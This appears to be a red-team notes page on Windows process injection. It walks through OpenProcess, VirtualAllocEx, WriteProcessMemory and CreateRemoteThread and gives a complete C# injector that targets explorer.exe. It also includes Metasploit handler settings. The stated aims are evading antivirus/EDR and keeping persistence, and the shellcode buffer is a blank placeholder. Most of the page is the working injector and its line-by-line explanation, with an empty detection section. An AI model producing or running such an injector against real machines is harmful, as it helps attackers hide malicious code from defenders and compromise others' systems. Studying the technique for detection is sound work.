Using VirtualAllocEx and WriteProcessMemory

Overview

Process injection is a technique used to inject code into a running process on a target machine. This can be done to evade AV/EDRs as well as maintaining persistence on a target machine.

This technique leverages the following below kernel32 APIs.

Win32 Api's

OpenProcess - Open the target process

VirtualAllocEx - To allocate memory within the target process.

WriteProcessMemory - To copy shellcode to target

CreateRemoteThread - To execute shellcode

Optional

GetProcessesByName - Get a handle to the target process

Use EXITFUNC=thread in msfvenom payload to not kill parent process on exit

Also setting it in multi/handler

msf6 exploit(multi/handler) > set exitfunc thread

Walkthrough

  1. First, we will need to get a handle on the remote process.

  2. Secondly, we open a handle to that process.

  3. We then need to allocate memory within the target process.

  4. We can then copy our shellcode into the memory address.

  5. Lastly, we need to execute the shellcode in the remote thread.

Code

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace process_inject
{
    public class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern int GetLastError();

        public static void Main(string[] args)
        {

            byte[] buf = new byte[1024];

            int pid = 0;
            string targetProcess = "explorer";
            Console.WriteLine("********************************");

            try
            {
                Process[] process = Process.GetProcessesByName(targetProcess);
                pid = process[0].Id;
                Console.WriteLine($"[i] Remote process pid: {pid}");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] ERROR Unable to get process id for {targetProcess}: {ex.Message}");
                return;
            }

            Console.WriteLine($"[i] Opening remote process pid: {pid}");
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            if (hProcess == IntPtr.Zero)
            {
                Console.WriteLine($"[!] ERROR Unable to open remote thread: {GetLastError()}");  
                return;
            }

            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Console.WriteLine($"[i] Memory allocated at 0x{addr.ToString("X")}");
            if (addr == IntPtr.Zero)
            {
                Console.WriteLine($"[!] ERROR Unable to allocate memory: {GetLastError()}");
                return;
            }

            if (!WriteProcessMemory(hProcess, addr, buf, buf.Length, out var outSize))
            {
                Console.WriteLine($"[!] ERROR WriteProcessMemory failed: {GetLastError()}");
                return;
            }

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            if (hThread == IntPtr.Zero)
            {
                Console.WriteLine($"[!] ERROR CreateRemoteThread failed: {GetLastError()}");
                return;
            }

            Console.WriteLine($"[i] hThread created!!");
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            Console.ReadLine();
        }
    }
}

Detection and AV

Detection on nt-PInject code without shellcode:

Details

Getting a handle to the target process

Target process for this example explorer.exe

Getting a handle on explorer process that we will inject into:

string targetProcessName = "explorer";
Process[] targetProcess = Process.GetProcessesByName(targetProcessName);
int pid = targetProcess[0].Id;
Console.WriteLine("[i] Target process: " + targetProcessName);
Console.WriteLine("[i] Target process pid: " + pid.ToString());
Console.ReadLine();

Open the target process

The first argument dwDesiredAccess is the access right we want to obtain for the remote process.

Based on the pinvoke documentation, the required access we want is All = 0x001F0FFF

We can call the function requesting all access rights, with the PID of the process we aim to inject into:

IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);

Call VirtualAllocEx

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

hProcess our process handle retrieved from OpenProcess

lpAddress we can pass a null value and let the API select and unused address

dwSize the amount of memory to allocate

flAllocationType this parameter defines the type of memory allocation.

To reserve and commit pages in one step, call VirtualAlloc with MEM_COMMIT | MEM_RESERVE.

Since MEM_COMMIT = 0x00001000 and MEM_RESERVE = 0x00002000, we need to set this to 0x00003000

The first argument we will need to specify the handle to our target process hProcess

The second aregument lpAddress, we can pass a null value and let the API select an unused address

flProtect we want to configure this to PAGE_EXECUTE_READWRITE = 0x40

IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

Call WriteProcessMemory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

hProcess our process handle retrieved from OpenProcess

lpBaseAddress will be set to our addr pointer

lpBuffer point to our shellcode in the buff variable

nSize is the size of our shellcode

outsize is a destination pointer address to show the number of bytes written

IntPtr outSize;
WriteProcessMemory(hProcess, addr, buffer, buffer.Length, out outSize);

Execute shellcode with CreateRemoteThread

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

hProcess our process handle retrieved from OpenProcess

lpThreadAttributes we can set this to zero to accept the default values

dwStackSize we can set this to zero, the new thread uses the default size for the executable

lpStardAdress this is the address of the buffer we allocated with VirtualAllocEx

lpParameter is a pointer to variables which be passed to the thread function pointed by lpStartAddress, since our shellcode does not need any parameters, we can pass a NULL here

dwCreationFlags allows creating the thread in a suspended state, we don't need it so we can set this to zero

lpThreadId a pointer to a variable that receives ther thread identifies, we can set to NULL

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

References

Last updated